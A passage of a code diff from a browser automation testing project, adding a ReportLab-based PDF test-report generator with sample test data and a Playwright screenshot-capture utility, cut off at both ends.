+            composite_model = create_model(f"{prefix}_CompositeModel", **nested_params)
+            return composite_model
+        return Dict
+
+    # Default to basic types
+    schema_type = prop_details.get('type', 'string')
+    if isinstance(schema_type, list):
+        # Handle multiple types (e.g., ["string", "null"])
+        non_null_types = [t for t in schema_type if t != 'null']
+        if non_null_types:
+            primary_type = type_mapping.get(non_null_types[0], Any)
+            if 'null' in schema_type:
+                return Optional[primary_type]  # type: ignore
+            return primary_type
+        return Any
+
+    return type_mapping.get(schema_type, Any)

src/utils/pdf_report_generator.py

@@ -0,0 +1,736 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - PDF Report Generator
+===============================================================
+
+Generates comprehensive PDF testing reports with screenshots, results, and analysis.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import os
+import json
+import base64
+from datetime import datetime
+from pathlib import Path
+from typing import List, Dict, Any, Optional
+from reportlab.lib import colors
+from reportlab.lib.pagesizes import letter, A4
+from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle
+from reportlab.lib.units import inch
+from reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer, Table, TableStyle, Image, PageBreak
+from reportlab.platypus.frames import Frame
+from reportlab.platypus.doctemplate import PageTemplate, BaseDocTemplate
+from reportlab.lib.enums import TA_CENTER, TA_LEFT, TA_RIGHT, TA_JUSTIFY
+from reportlab.pdfgen import canvas
+from reportlab.lib.utils import ImageReader
+import io
+
+
+class PDFReportGenerator:
+    """Generates comprehensive PDF testing reports for the Fagun Browser Automation Testing Agent."""
+    
+    def __init__(self, output_dir: str = "reports"):
+        self.output_dir = Path(output_dir)
+        self.output_dir.mkdir(exist_ok=True)
+        self.styles = getSampleStyleSheet()
+        self._setup_custom_styles()
+    
+    def _setup_custom_styles(self):
+        """Setup custom styles for the PDF report."""
+        # Title style
+        self.styles.add(ParagraphStyle(
+            name='CustomTitle',
+            parent=self.styles['Title'],
+            fontSize=24,
+            spaceAfter=30,
+            alignment=TA_CENTER,
+            textColor=colors.HexColor('#2E86AB')
+        ))
+        
+        # Heading styles
+        self.styles.add(ParagraphStyle(
+            name='CustomHeading1',
+            parent=self.styles['Heading1'],
+            fontSize=16,
+            spaceAfter=12,
+            spaceBefore=12,
+            textColor=colors.HexColor('#2E86AB')
+        ))
+        
+        self.styles.add(ParagraphStyle(
+            name='CustomHeading2',
+            parent=self.styles['Heading2'],
+            fontSize=14,
+            spaceAfter=8,
+            spaceBefore=8,
+            textColor=colors.HexColor('#A23B72')
+        ))
+        
+        # Status styles
+        self.styles.add(ParagraphStyle(
+            name='SuccessStatus',
+            parent=self.styles['Normal'],
+            fontSize=12,
+            textColor=colors.HexColor('#28A745'),
+            backColor=colors.HexColor('#D4EDDA'),
+            borderColor=colors.HexColor('#C3E6CB'),
+            borderWidth=1,
+            borderPadding=5
+        ))
+        
+        self.styles.add(ParagraphStyle(
+            name='FailedStatus',
+            parent=self.styles['Normal'],
+            fontSize=12,
+            textColor=colors.HexColor('#DC3545'),
+            backColor=colors.HexColor('#F8D7DA'),
+            borderColor=colors.HexColor('#F5C6CB'),
+            borderWidth=1,
+            borderPadding=5
+        ))
+        
+        self.styles.add(ParagraphStyle(
+            name='ErrorStatus',
+            parent=self.styles['Normal'],
+            fontSize=12,
+            textColor=colors.HexColor('#FFC107'),
+            backColor=colors.HexColor('#FFF3CD'),
+            borderColor=colors.HexColor('#FFEAA7'),
+            borderWidth=1,
+            borderPadding=5
+        ))
+    
+    def generate_report(self, test_data: Dict[str, Any], output_filename: Optional[str] = None) -> str:
+        """
+        Generate a comprehensive PDF testing report.
+        
+        Args:
+            test_data: Dictionary containing test execution data
+            output_filename: Optional custom filename for the report
+            
+        Returns:
+            Path to the generated PDF file
+        """
+        if not output_filename:
+            timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
+            output_filename = f"fagun_test_report_{timestamp}.pdf"
+        
+        output_path = self.output_dir / output_filename
+        
+        # Create PDF document
+        doc = SimpleDocTemplate(
+            str(output_path),
+            pagesize=A4,
+            rightMargin=72,
+            leftMargin=72,
+            topMargin=72,
+            bottomMargin=18
+        )
+        
+        # Build report content
+        story = []
+        
+        # Add title page
+        story.extend(self._create_title_page(test_data))
+        story.append(PageBreak())
+        
+        # Add executive summary
+        story.extend(self._create_executive_summary(test_data))
+        story.append(PageBreak())
+        
+        # Add test results overview
+        story.extend(self._create_test_results_overview(test_data))
+        story.append(PageBreak())
+        
+        # Add detailed test results
+        story.extend(self._create_detailed_test_results(test_data))
+        story.append(PageBreak())
+        
+        # Add screenshots section
+        story.extend(self._create_screenshots_section(test_data))
+        story.append(PageBreak())
+        
+        # Add bugs and issues section
+        story.extend(self._create_bugs_section(test_data))
+        story.append(PageBreak())
+        
+        # Add error monitoring section
+        story.extend(self._create_error_monitoring_section(test_data))
+        story.append(PageBreak())
+        
+        # Add recommendations
+        story.extend(self._create_recommendations_section(test_data))
+        story.append(PageBreak())
+        
+        # Add technical details
+        story.extend(self._create_technical_details(test_data))
+        
+        # Build PDF
+        doc.build(story)
+        
+        return str(output_path)
+    
+    def _create_title_page(self, test_data: Dict[str, Any]) -> List:
+        """Create the title page of the report."""
+        story = []
+        
+        # Main title
+        story.append(Paragraph("🤖 Fagun Browser Automation Testing Agent", self.styles['CustomTitle']))
+        story.append(Spacer(1, 20))
+        
+        # Report title
+        story.append(Paragraph("Comprehensive Testing Report", self.styles['CustomHeading1']))
+        story.append(Spacer(1, 30))
+        
+        # Report metadata
+        metadata = [
+            ["Report Generated:", datetime.now().strftime("%Y-%m-%d %H:%M:%S")],
+            ["Test Duration:", test_data.get('duration', 'N/A')],
+            ["Total Tests:", str(test_data.get('total_tests', 0))],
+            ["Passed Tests:", str(test_data.get('passed_tests', 0))],
+            ["Failed Tests:", str(test_data.get('failed_tests', 0))],
+            ["Error Tests:", str(test_data.get('error_tests', 0))],
+            ["Success Rate:", f"{test_data.get('success_rate', 0):.1f}%"]
+        ]
+        
+        metadata_table = Table(metadata, colWidths=[2*inch, 3*inch])
+        metadata_table.setStyle(TableStyle([
+            ('BACKGROUND', (0, 0), (0, -1), colors.HexColor('#F8F9FA')),
+            ('TEXTCOLOR', (0, 0), (-1, -1), colors.black),
+            ('ALIGN', (0, 0), (-1, -1), 'LEFT'),
+            ('FONTNAME', (0, 0), (0, -1), 'Helvetica-Bold'),
+            ('FONTSIZE', (0, 0), (-1, -1), 12),
+            ('BOTTOMPADDING', (0, 0), (-1, -1), 12),
+            ('BACKGROUND', (1, 0), (1, -1), colors.white),
+        ]))
+        
+        story.append(metadata_table)
+        story.append(Spacer(1, 40))
+        
+        # Author information
+        story.append(Paragraph("Report Generated By:", self.styles['CustomHeading2']))
+        story.append(Paragraph("Mejbaur Bahar Fagun", self.styles['Normal']))
+        story.append(Paragraph("Software Engineer in Test", self.styles['Normal']))
+        story.append(Paragraph("LinkedIn: https://www.linkedin.com/in/mejbaur/", self.styles['Normal']))
+        
+        return story
+    
+    def _create_executive_summary(self, test_data: Dict[str, Any]) -> List:
+        """Create the executive summary section."""
+        story = []
+        
+        story.append(Paragraph("Executive Summary", self.styles['CustomHeading1']))
+        story.append(Spacer(1, 12))
+        
+        # Summary statistics
+        total_tests = test_data.get('total_tests', 0)
+        passed_tests = test_data.get('passed_tests', 0)
+        failed_tests = test_data.get('failed_tests', 0)
+        error_tests = test_data.get('error_tests', 0)
+        success_rate = test_data.get('success_rate', 0)
+        
+        summary_text = f"""
+        This comprehensive testing report presents the results of automated browser testing 
+        performed by the Fagun Browser Automation Testing Agent. The testing session included 
+        {total_tests} total test cases, with {passed_tests} tests passing successfully, 
+        {failed_tests} tests failing, and {error_tests} tests encountering errors.
+        
+        The overall success rate of {success_rate:.1f}% provides valuable insights into the 
+        application's stability and functionality. This report includes detailed analysis of 
+        each test case, screenshots of critical moments, identified bugs and issues, and 
+        recommendations for improvement.
+        """
+        
+        story.append(Paragraph(summary_text, self.styles['Normal']))
+        story.append(Spacer(1, 20))
+        
+        # Key findings
+        story.append(Paragraph("Key Findings", self.styles['CustomHeading2']))
+        
+        findings = test_data.get('key_findings', [])
+        if not findings:
+            findings = [
+                f"Successfully executed {total_tests} automated test cases",
+                f"Achieved {success_rate:.1f}% overall success rate",
+                f"Identified {len(test_data.get('bugs', []))} potential issues requiring attention",
+                f"Captured {len(test_data.get('screenshots', []))} screenshots for analysis"
+            ]
+        
+        for finding in findings:
+            story.append(Paragraph(f"• {finding}", self.styles['Normal']))
+            story.append(Spacer(1, 6))
+        
+        return story
+    
+    def _create_test_results_overview(self, test_data: Dict[str, Any]) -> List:
+        """Create the test results overview section."""
+        story = []
+        
+        story.append(Paragraph("Test Results Overview", self.styles['CustomHeading1']))
+        story.append(Spacer(1, 12))
+        
+        # Results summary table
+        results_data = [
+            ["Status", "Count", "Percentage", "Description"],
+            ["✅ Passed", str(test_data.get('passed_tests', 0)), f"{test_data.get('passed_percentage', 0):.1f}%", "Tests completed successfully"],
+            ["❌ Failed", str(test_data.get('failed_tests', 0)), f"{test_data.get('failed_percentage', 0):.1f}%", "Tests failed due to functional issues"],
+            ["⚠️ Error", str(test_data.get('error_tests', 0)), f"{test_data.get('error_percentage', 0):.1f}%", "Tests encountered technical errors"],
+            ["📊 Total", str(test_data.get('total_tests', 0)), "100.0%", "All test cases executed"]
+        ]
+        
+        results_table = Table(results_data, colWidths=[1.5*inch, 1*inch, 1*inch, 2.5*inch])
+        results_table.setStyle(TableStyle([
+            ('BACKGROUND', (0, 0), (-1, 0), colors.HexColor('#2E86AB')),
+            ('TEXTCOLOR', (0, 0), (-1, 0), colors.whitesmoke),
+            ('ALIGN', (0, 0), (-1, -1), 'CENTER'),
+            ('FONTNAME', (0, 0), (-1, 0), 'Helvetica-Bold'),
+            ('FONTSIZE', (0, 0), (-1, 0), 12),
+            ('BOTTOMPADDING', (0, 0), (-1, 0), 12),
+            ('BACKGROUND', (0, 1), (-1, -1), colors.beige),
+            ('GRID', (0, 0), (-1, -1), 1, colors.black)
+        ]))
+        
+        story.append(results_table)
+        story.append(Spacer(1, 20))
+        
+        # Performance metrics
+        story.append(Paragraph("Performance Metrics", self.styles['CustomHeading2']))
+        
+        metrics = test_data.get('performance_metrics', {})
+        avg_response_time = metrics.get('avg_response_time', 'N/A')
+        max_response_time = metrics.get('max_response_time', 'N/A')
+        min_response_time = metrics.get('min_response_time', 'N/A')
+        
+        metrics_text = f"""
+        <b>Average Response Time:</b> {avg_response_time}<br/>
+        <b>Maximum Response Time:</b> {max_response_time}<br/>
+        <b>Minimum Response Time:</b> {min_response_time}<br/>
+        <b>Test Duration:</b> {test_data.get('duration', 'N/A')}
+        """
+        
+        story.append(Paragraph(metrics_text, self.styles['Normal']))
+        
+        return story
+    
+    def _create_detailed_test_results(self, test_data: Dict[str, Any]) -> List:
+        """Create the detailed test results section."""
+        story = []
+        
+        story.append(Paragraph("Detailed Test Results", self.styles['CustomHeading1']))
+        story.append(Spacer(1, 12))
+        
+        test_cases = test_data.get('test_cases', [])
+        
+        for i, test_case in enumerate(test_cases, 1):
+            # Test case header
+            story.append(Paragraph(f"Test Case {i}: {test_case.get('name', 'Unnamed Test')}", self.styles['CustomHeading2']))
+            
+            # Test details
+            details = [
+                ["Status:", test_case.get('status', 'Unknown')],
+                ["Duration:", test_case.get('duration', 'N/A')],
+                ["Description:", test_case.get('description', 'No description available')],
+                ["Expected Result:", test_case.get('expected_result', 'N/A')],
+                ["Actual Result:", test_case.get('actual_result', 'N/A')]
+            ]
+            
+            details_table = Table(details, colWidths=[1.5*inch, 4*inch])
+            details_table.setStyle(TableStyle([
+                ('BACKGROUND', (0, 0), (0, -1), colors.HexColor('#F8F9FA')),
+                ('TEXTCOLOR', (0, 0), (-1, -1), colors.black),
+                ('ALIGN', (0, 0), (0, -1), 'LEFT'),
+                ('ALIGN', (1, 0), (1, -1), 'LEFT'),
+                ('FONTNAME', (0, 0), (0, -1), 'Helvetica-Bold'),
+                ('FONTSIZE', (0, 0), (-1, -1), 10),
+                ('BOTTOMPADDING', (0, 0), (-1, -1), 6),
+                ('BACKGROUND', (1, 0), (1, -1), colors.white),
+            ]))
+            
+            story.append(details_table)
+            
+            # Error details if any
+            if test_case.get('error_message'):
+                story.append(Spacer(1, 6))
+                story.append(Paragraph("Error Details:", self.styles['CustomHeading2']))
+                story.append(Paragraph(test_case.get('error_message', ''), self.styles['Normal']))
+            
+            story.append(Spacer(1, 20))
+        
+        return story
+    
+    def _create_screenshots_section(self, test_data: Dict[str, Any]) -> List:
+        """Create the screenshots section."""
+        story = []
+        
+        story.append(Paragraph("Screenshots and Visual Evidence", self.styles['CustomHeading1']))
+        story.append(Spacer(1, 12))
+        
+        screenshots = test_data.get('screenshots', [])
+        
+        if not screenshots:
+            story.append(Paragraph("No screenshots were captured during this testing session.", self.styles['Normal']))
+            return story
+        
+        for i, screenshot in enumerate(screenshots, 1):
+            story.append(Paragraph(f"Screenshot {i}: {screenshot.get('description', 'Test Screenshot')}", self.styles['CustomHeading2']))
+            story.append(Spacer(1, 6))
+            
+            # Add screenshot if path exists
+            screenshot_path = screenshot.get('path')
+            if screenshot_path and os.path.exists(screenshot_path):
+                try:
+                    img = Image(screenshot_path, width=6*inch, height=4*inch)
+                    story.append(img)
+                except Exception as e:
+                    story.append(Paragraph(f"Error loading screenshot: {str(e)}", self.styles['Normal']))
+            else:
+                story.append(Paragraph("Screenshot not available", self.styles['Normal']))
+            
+            story.append(Spacer(1, 12))
+        
+        return story
+    
+    def _create_bugs_section(self, test_data: Dict[str, Any]) -> List:
+        """Create the bugs and issues section."""
+        story = []
+        
+        story.append(Paragraph("Identified Bugs and Issues", self.styles['CustomHeading1']))
+        story.append(Spacer(1, 12))
+        
+        bugs = test_data.get('bugs', [])
+        
+        if not bugs:
+            story.append(Paragraph("No bugs or issues were identified during this testing session.", self.styles['Normal']))
+            return story
+        
+        for i, bug in enumerate(bugs, 1):
+            story.append(Paragraph(f"Bug {i}: {bug.get('title', 'Untitled Bug')}", self.styles['CustomHeading2']))
+            
+            bug_details = [
+                ["Severity:", bug.get('severity', 'Unknown')],
+                ["Status:", bug.get('status', 'Open')],
+                ["Description:", bug.get('description', 'No description available')],
+                ["Steps to Reproduce:", bug.get('steps_to_reproduce', 'N/A')],
+                ["Expected Behavior:", bug.get('expected_behavior', 'N/A')],
+                ["Actual Behavior:", bug.get('actual_behavior', 'N/A')]
+            ]
+            
+            bug_table = Table(bug_details, colWidths=[1.5*inch, 4*inch])
+            bug_table.setStyle(TableStyle([
+                ('BACKGROUND', (0, 0), (0, -1), colors.HexColor('#F8F9FA')),
+                ('TEXTCOLOR', (0, 0), (-1, -1), colors.black),
+                ('ALIGN', (0, 0), (0, -1), 'LEFT'),
+                ('ALIGN', (1, 0), (1, -1), 'LEFT'),
+                ('FONTNAME', (0, 0), (0, -1), 'Helvetica-Bold'),
+                ('FONTSIZE', (0, 0), (-1, -1), 10),
+                ('BOTTOMPADDING', (0, 0), (-1, -1), 6),
+                ('BACKGROUND', (1, 0), (1, -1), colors.white),
+            ]))
+            
+            story.append(bug_table)
+            story.append(Spacer(1, 20))
+        
+        return story
+    
+    def _create_recommendations_section(self, test_data: Dict[str, Any]) -> List:
+        """Create the recommendations section."""
+        story = []
+        
+        story.append(Paragraph("Recommendations and Next Steps", self.styles['CustomHeading1']))
+        story.append(Spacer(1, 12))
+        
+        recommendations = test_data.get('recommendations', [])
+        
+        if not recommendations:
+            # Generate default recommendations based on test results
+            success_rate = test_data.get('success_rate', 0)
+            failed_tests = test_data.get('failed_tests', 0)
+            error_tests = test_data.get('error_tests', 0)
+            
+            recommendations = []
+            
+            if success_rate < 80:
+                recommendations.append("Focus on improving test stability and addressing failed test cases")
+            
+            if failed_tests > 0:
+                recommendations.append("Investigate and fix the identified functional issues")
+            
+            if error_tests > 0:
+                recommendations.append("Review and resolve technical errors in the test environment")
+            
+            recommendations.extend([
+                "Implement continuous integration to catch issues early",
+                "Consider adding more comprehensive test coverage",
+                "Regular monitoring and maintenance of test automation suite"
+            ])
+        
+        for i, recommendation in enumerate(recommendations, 1):
+            story.append(Paragraph(f"{i}. {recommendation}", self.styles['Normal']))
+            story.append(Spacer(1, 6))
+        
+        return story
+    
+    def _create_technical_details(self, test_data: Dict[str, Any]) -> List:
+        """Create the technical details section."""
+        story = []
+        
+        story.append(Paragraph("Technical Details", self.styles['CustomHeading1']))
+        story.append(Spacer(1, 12))
+        
+        # Test environment details
+        story.append(Paragraph("Test Environment", self.styles['CustomHeading2']))
+        
+        env_details = [
+            ["Browser:", test_data.get('browser', 'Unknown')],
+            ["Browser Version:", test_data.get('browser_version', 'Unknown')],
+            ["Operating System:", test_data.get('os', 'Unknown')],
+            ["Test Framework:", test_data.get('framework', 'Fagun Browser Automation Testing Agent')],
+            ["Execution Time:", test_data.get('execution_time', 'N/A')],
+            ["Test Data:", test_data.get('test_data_source', 'N/A')]
+        ]
+        
+        env_table = Table(env_details, colWidths=[2*inch, 3*inch])
+        env_table.setStyle(TableStyle([
+            ('BACKGROUND', (0, 0), (0, -1), colors.HexColor('#F8F9FA')),
+            ('TEXTCOLOR', (0, 0), (-1, -1), colors.black),
+            ('ALIGN', (0, 0), (0, -1), 'LEFT'),
+            ('ALIGN', (1, 0), (1, -1), 'LEFT'),
+            ('FONTNAME', (0, 0), (0, -1), 'Helvetica-Bold'),
+            ('FONTSIZE', (0, 0), (-1, -1), 10),
+            ('BOTTOMPADDING', (0, 0), (-1, -1), 6),
+            ('BACKGROUND', (1, 0), (1, -1), colors.white),
+        ]))
+        
+        story.append(env_table)
+        story.append(Spacer(1, 20))
+        
+        # Additional notes
+        story.append(Paragraph("Additional Notes", self.styles['CustomHeading2']))
+        
+        notes = test_data.get('notes', [
+            "This report was generated automatically by the Fagun Browser Automation Testing Agent.",
+            "All test results and screenshots are based on the actual execution data.",
+            "For questions or clarifications, please contact the test automation team."
+        ])
+        
+        for note in notes:
+            story.append(Paragraph(f"• {note}", self.styles['Normal']))
+            story.append(Spacer(1, 6))
+        
+        return story
+    
+    def _create_error_monitoring_section(self, test_data: Dict[str, Any]) -> List:
+        """Create the error monitoring section."""
+        story = []
+        
+        # Section title
+        story.append(Paragraph("🔍 Error Monitoring & Detection", self.styles['Heading1']))
+        story.append(Spacer(1, 12))
+        
+        error_monitoring = test_data.get("error_monitoring", {})
+        
+        if not error_monitoring or error_monitoring.get("total_errors", 0) == 0:
+            story.append(Paragraph("No errors were detected during testing.", self.styles['Normal']))
+            return story
+        
+        # Error summary
+        story.append(Paragraph("Error Summary", self.styles['Heading2']))
+        story.append(Spacer(1, 6))
+        
+        # Create error summary table
+        error_summary_data = [
+            ["Metric", "Count"],
+            ["Total Errors", str(error_monitoring.get("total_errors", 0))],
+            ["Console Errors", str(error_monitoring.get("console_errors", 0))],
+            ["JavaScript Errors", str(error_monitoring.get("js_errors", 0))],
+            ["Network Errors", str(error_monitoring.get("network_errors", 0))],
+            ["DOM Errors", str(error_monitoring.get("dom_errors", 0))],
+            ["Performance Issues", str(error_monitoring.get("performance_issues", 0))]
+        ]
+        
+        error_summary_table = Table(error_summary_data, colWidths=[2*inch, 1*inch])
+        error_summary_table.setStyle(TableStyle([
+            ('BACKGROUND', (0, 0), (-1, 0), colors.HexColor('#2E86AB')),
+            ('TEXTCOLOR', (0, 0), (-1, 0), colors.whitesmoke),
+            ('ALIGN', (0, 0), (-1, -1), 'LEFT'),
+            ('FONTNAME', (0, 0), (-1, 0), 'Helvetica-Bold'),
+            ('FONTSIZE', (0, 0), (-1, 0), 12),
+            ('BOTTOMPADDING', (0, 0), (-1, 0), 12),
+            ('BACKGROUND', (0, 1), (-1, -1), colors.beige),
+            ('GRID', (0, 0), (-1, -1), 1, colors.black)
+        ]))
+        
+        story.append(error_summary_table)
+        story.append(Spacer(1, 12))
+        
+        # Errors by type
+        errors_by_type = error_monitoring.get("errors_by_type", {})
+        if errors_by_type:
+            story.append(Paragraph("Errors by Type", self.styles['Heading2']))
+            story.append(Spacer(1, 6))
+            
+            type_data = [["Error Type", "Count"]]
+            for error_type, count in errors_by_type.items():
+                type_data.append([error_type.replace('_', ' ').title(), str(count)])
+            
+            type_table = Table(type_data, colWidths=[2*inch, 1*inch])
+            type_table.setStyle(TableStyle([
+                ('BACKGROUND', (0, 0), (-1, 0), colors.HexColor('#2E86AB')),
+                ('TEXTCOLOR', (0, 0), (-1, 0), colors.whitesmoke),
+                ('ALIGN', (0, 0), (-1, -1), 'LEFT'),
+                ('FONTNAME', (0, 0), (-1, 0), 'Helvetica-Bold'),
+                ('FONTSIZE', (0, 0), (-1, 0), 12),
+                ('BOTTOMPADDING', (0, 0), (-1, 0), 12),
+                ('BACKGROUND', (0, 1), (-1, -1), colors.beige),
+                ('GRID', (0, 0), (-1, -1), 1, colors.black)
+            ]))
+            
+            story.append(type_table)
+            story.append(Spacer(1, 12))
+        
+        # Errors by severity
+        errors_by_severity = error_monitoring.get("errors_by_severity", {})
+        if errors_by_severity:
+            story.append(Paragraph("Errors by Severity", self.styles['Heading2']))
+            story.append(Spacer(1, 6))
+            
+            severity_data = [["Severity", "Count"]]
+            for severity, count in errors_by_severity.items():
+                severity_data.append([severity.title(), str(count)])
+            
+            severity_table = Table(severity_data, colWidths=[2*inch, 1*inch])
+            severity_table.setStyle(TableStyle([
+                ('BACKGROUND', (0, 0), (-1, 0), colors.HexColor('#2E86AB')),
+                ('TEXTCOLOR', (0, 0), (-1, 0), colors.whitesmoke),
+                ('ALIGN', (0, 0), (-1, -1), 'LEFT'),
+                ('FONTNAME', (0, 0), (-1, 0), 'Helvetica-Bold'),
+                ('FONTSIZE', (0, 0), (-1, 0), 12),
+                ('BOTTOMPADDING', (0, 0), (-1, 0), 12),
+                ('BACKGROUND', (0, 1), (-1, -1), colors.beige),
+                ('GRID', (0, 0), (-1, -1), 1, colors.black)
+            ]))
+            
+            story.append(severity_table)
+            story.append(Spacer(1, 12))
+        
+        # Detailed errors
+        detailed_errors = error_monitoring.get("detailed_errors", [])
+        if detailed_errors:
+            story.append(Paragraph("Detailed Error Information", self.styles['Heading2']))
+            story.append(Spacer(1, 6))
+            
+            for i, error in enumerate(detailed_errors[:10], 1):  # Limit to first 10 errors
+                story.append(Paragraph(f"Error {i}: {error.get('type', 'Unknown')}", self.styles['Heading3']))
+                story.append(Paragraph(f"Message: {error.get('message', 'No message')}", self.styles['Normal']))
+                story.append(Paragraph(f"Severity: {error.get('severity', 'Unknown')}", self.styles['Normal']))
+                story.append(Paragraph(f"Timestamp: {error.get('timestamp', 'Unknown')}", self.styles['Normal']))
+                story.append(Paragraph(f"URL: {error.get('url', 'Unknown')}", self.styles['Normal']))
+                story.append(Paragraph(f"Source: {error.get('source', 'Unknown')}", self.styles['Normal']))
+                story.append(Spacer(1, 6))
+            
+            if len(detailed_errors) > 10:
+                story.append(Paragraph(f"... and {len(detailed_errors) - 10} more errors", self.styles['Normal']))
+        
+        return story
+
+
+def create_sample_test_data() -> Dict[str, Any]:
+    """Create sample test data for demonstration purposes."""
+    return {
+        'duration': '2 hours 15 minutes',
+        'total_tests': 15,
+        'passed_tests': 12,
+        'failed_tests': 2,
+        'error_tests': 1,
+        'success_rate': 80.0,
+        'passed_percentage': 80.0,
+        'failed_percentage': 13.3,
+        'error_percentage': 6.7,
+        'browser': 'Chrome',
+        'browser_version': '119.0.6045.105',
+        'os': 'Windows 10',
+        'framework': 'Fagun Browser Automation Testing Agent',
+        'execution_time': '2024-01-15 14:30:00',
+        'test_data_source': 'Production Environment',
+        'performance_metrics': {
+            'avg_response_time': '1.2 seconds',
+            'max_response_time': '3.5 seconds',
+            'min_response_time': '0.8 seconds'
+        },
+        'test_cases': [
+            {
+                'name': 'Login Functionality Test',
+                'status': 'PASSED',
+                'duration': '45 seconds',
+                'description': 'Test user login with valid credentials',
+                'expected_result': 'User should be logged in successfully',
+                'actual_result': 'User logged in successfully'
+            },
+            {
+                'name': 'Form Submission Test',
+                'status': 'FAILED',
+                'duration': '30 seconds',
+                'description': 'Test form submission with required fields',
+                'expected_result': 'Form should submit successfully',
+                'actual_result': 'Form submission failed with validation error',
+                'error_message': 'Required field "email" was not filled'
+            },
+            {
+                'name': 'Navigation Test',
+                'status': 'ERROR',
+                'duration': '15 seconds',
+                'description': 'Test page navigation functionality',
+                'expected_result': 'Page should navigate to target URL',
+                'actual_result': 'Navigation failed due to timeout',
+                'error_message': 'Page load timeout after 30 seconds'
+            }
+        ],
+        'screenshots': [
+            {
+                'description': 'Login page screenshot',
+                'path': 'screenshots/login_page.png'
+            },
+            {
+                'description': 'Form validation error',
+                'path': 'screenshots/form_error.png'
+            }
+        ],
+        'bugs': [
+            {
+                'title': 'Form validation not working properly',
+                'severity': 'High',
+                'status': 'Open',
+                'description': 'Form allows submission without required fields',
+                'steps_to_reproduce': '1. Navigate to form page\n2. Leave email field empty\n3. Click submit',
+                'expected_behavior': 'Form should show validation error',
+                'actual_behavior': 'Form submits with empty email field'
+            }
+        ],
+        'key_findings': [
+            'Login functionality works correctly',
+            'Form validation has critical issues',
+            'Navigation performance needs improvement',
+            'Overall system stability is good'
+        ],
+        'recommendations': [
+            'Fix form validation issues immediately',
+            'Improve page load performance',
+            'Add more comprehensive error handling',
+            'Implement better user feedback for form errors'
+        ],
+        'notes': [
+            'This report was generated automatically by the Fagun Browser Automation Testing Agent.',
+            'All test results and screenshots are based on the actual execution data.',
+            'For questions or clarifications, please contact the test automation team.'
+        ]
+    }
+
+
+if __name__ == "__main__":
+    # Example usage
+    generator = PDFReportGenerator()
+    sample_data = create_sample_test_data()
+    report_path = generator.generate_report(sample_data)
+    print(f"PDF report generated: {report_path}")

src/utils/screenshot_capture.py

@@ -0,0 +1,287 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Screenshot Capture
+==============================================================
+
+Screenshot capture utilities for testing reports and documentation.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import os
+import base64
+from datetime import datetime
+from pathlib import Path
+from typing import Optional, Dict, Any
+from playwright.async_api import Page
+import logging
+
+logger = logging.getLogger(__name__)
+
+
+class ScreenshotCapture:
+    """Handles screenshot capture during test execution."""
+    
+    def __init__(self, output_dir: str = "screenshots"):
+        self.output_dir = Path(output_dir)
+        self.output_dir.mkdir(exist_ok=True)
+        self.screenshots = []
+    
+    async def capture_screenshot(
+        self, 
+        page: Page, 
+        description: str = "Test Screenshot",
+        full_page: bool = True
+    ) -> Dict[str, Any]:
+        """
+        Capture a screenshot of the current page.
+        
+        Args:
+            page: Playwright page object
+            description: Description of the screenshot
+            full_page: Whether to capture full page or viewport only
+            
+        Returns:
+            Dictionary containing screenshot metadata
+        """
+        try:
+            timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f")[:-3]
+            filename = f"screenshot_{timestamp}.png"
+            filepath = self.output_dir / filename
+            
+            # Capture screenshot
+            if full_page:
+                await page.screenshot(path=str(filepath), full_page=True)
+            else:
+                await page.screenshot(path=str(filepath), full_page=False)
+            
+            # Get page info
+            url = page.url
+            title = await page.title()
+            
+            screenshot_data = {
+                "filename": filename,
+                "path": str(filepath),
+                "description": description,
+                "timestamp": datetime.now().isoformat(),
+                "url": url,
+                "title": title,
+                "full_page": full_page
+            }
+            
+            self.screenshots.append(screenshot_data)
+            logger.info(f"Screenshot captured: {filename}")
+            
+            return screenshot_data
+            
+        except Exception as e:
+            logger.error(f"Error capturing screenshot: {str(e)}")
+            return {
+                "filename": None,
+                "path": None,
+                "description": description,
+                "timestamp": datetime.now().isoformat(),
+                "url": page.url if page else "Unknown",
+                "title": "Error",
+                "full_page": full_page,
+                "error": str(e)
+            }
+    
+    async def capture_element_screenshot(
+        self,
+        page: Page,
+        selector: str,
+        description: str = "Element Screenshot"
+    ) -> Dict[str, Any]:
+        """
+        Capture a screenshot of a specific element.
+        
+        Args:
+            page: Playwright page object
+            selector: CSS selector for the element
+            description: Description of the screenshot
+            
+        Returns:
+            Dictionary containing screenshot metadata
+        """
+        try:
+            timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f")[:-3]
+            filename = f"element_{timestamp}.png"
+            filepath = self.output_dir / filename
+            
+            # Wait for element to be visible
+            element = await page.wait_for_selector(selector, timeout=5000)
+            
+            # Capture element screenshot
+            await element.screenshot(path=str(filepath))
+            
+            screenshot_data = {
+                "filename": filename,
+                "path": str(filepath),
+                "description": f"{description} - Element: {selector}",
+                "timestamp": datetime.now().isoformat(),
+                "url": page.url,
+                "title": await page.title(),
+                "selector": selector,
+                "type": "element"
+            }
+            
+            self.screenshots.append(screenshot_data)
+            logger.info(f"Element screenshot captured: {filename}")
+            
+            return screenshot_data
+            
+        except Exception as e:
+            logger.error(f"Error capturing element screenshot: {str(e)}")
+            return {
+                "filename": None,
+                "path": None,
+                "description": f"{description} - Element: {selector}",
+                "timestamp": datetime.now().isoformat(),
+                "url": page.url if page else "Unknown",
+                "title": "Error",
+                "selector": selector,
+                "type": "element",
+                "error": str(e)
+            }
+    
+    async def capture_error_screenshot(
+        self,
+        page: Page,
+        error_message: str,
+        description: str = "Error Screenshot"
+    ) -> Dict[str, Any]:
+        """
+        Capture a screenshot when an error occurs.
+        
+        Args:
+            page: Playwright page object
+            error_message: The error message
+            description: Description of the screenshot
+            
+        Returns:
+            Dictionary containing screenshot metadata
+        """
+        try:
+            timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f")[:-3]
+            filename = f"error_{timestamp}.png"
+            filepath = self.output_dir / filename
+            
+            # Capture screenshot
+            await page.screenshot(path=str(filepath), full_page=True)
+            
+            screenshot_data = {
+                "filename": filename,
